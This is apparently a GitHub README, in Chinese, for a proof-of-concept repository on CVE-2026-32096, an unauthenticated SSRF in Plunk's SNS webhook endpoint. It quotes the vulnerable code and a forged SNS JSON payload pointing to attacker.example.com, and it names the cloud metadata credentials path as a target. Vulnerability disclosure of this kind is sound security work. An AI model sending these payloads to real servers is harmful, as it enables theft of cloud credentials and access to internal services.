andrebhu/CVE-2026-32096

GitHub: andrebhu/CVE-2026-32096

该项目记录了 Plunk 邮件服务中因未验证 AWS SNS 签名而导致的未经认证 SSRF 漏洞(CVE-2026-32096),并提供完整复现脚本与本地测试环境。

Stars: 0 | Forks: 0

# CVE-2026-32096 **[useplunk/plunk](https://github.com/useplunk/plunk) 中因未验证 AWS SNS SubscriptionConfirmation 导致的 SSRF 漏洞** ## 概述 Plunk API 端点 `POST /webhooks/sns` 在获取攻击者提供的 `SubscribeURL` 时,未验证 AWS SNS 的加密签名。未经身份验证的攻击者可借此强制服务器发起任意的出站 HTTP 请求(SSRF)。 | | | |---|---| | **严重程度** | 危急 — CVSS 9.3 (`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N`) | | **CWE** | [CWE-918: 服务端请求伪造](https://cwe.mitre.org/data/definitions/918.html) | | **受影响文件** | `apps/api/src/controllers/Webhooks.ts` | | **需要身份验证** | 无 | ## 漏洞代码 ``` // apps/api/src/controllers/Webhooks.ts if (req.body.Type === 'SubscriptionConfirmation') { const confirmResponse = await fetch(req.body.SubscribeURL); // SSRF — no signature validation if (confirmResponse.ok) { return res.status(200).json({ success: true, message: 'Subscription confirmed' }); } } ``` 最小请求负载只需两个字段: ``` { "Type": "SubscriptionConfirmation", "SubscribeURL": "http://attacker.example.com/callback" } ``` ## 影响 - **AWS EC2/ECS**: 通过 `http://169.254.169.254/latest/meta-data/iam/security-credentials/` 窃取 IAM 凭证 - **内部服务**: 访问数据库、Redis、Kubernetes API 或其他未暴露在公网的服务 - **端口扫描**: 通过响应时间和基于错误的响应枚举内部端口 ## 复现 ### 前置条件 - Docker & Docker Compose - Python 3 ### 步骤 1. **启动 Plunk 测试环境:** docker compose up -d 2. **启动 SSRF 回调监听器:** python3 listener.py 3. **运行漏洞利用程序:** chmod +x exploit.sh ./exploit.sh 4. **观察** `listener.py` 输出中的回调命中,确认服务器获取了受攻击者控制的 URL。 ## 文件 | 文件 | 描述 | |---|---| | `exploit.sh` | 端到端漏洞利用脚本 — 将伪造的 SNS 负载发送到受漏洞影响的端点 | | `listener.py` | SSRF 回调监听器 — 捕获并记录来自 Plunk 服务器的传入请求 | | `docker-compose.yml` | 用于本地复现的最小化 Docker Compose 环境 (Postgres、Redis、Plunk) | ## 参考资料 - [AWS SNS: 验证 Amazon SNS 消息的签名](https://docs.aws.amazon.com/sns/latest/dg/sns-verify-signature-of-message.html) - [OWASP SSRF 预防备忘单](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)
标签:AWS SNS, CISA项目, CVE-2026-32096, CWE-918, Docker, GNU通用公共许可证, IAM凭证窃取, Node.js, PoC, SSRF, TypeScript, Webhooks安全, 内部端口扫描, 安全插件, 安全防御评估, 应用安全, 插件系统, 暴力破解, 服务端请求伪造, 未授权访问, 漏洞分析, 版权保护, 网络安全, 请求拦截, 路径探测, 逆向工具, 隐私保护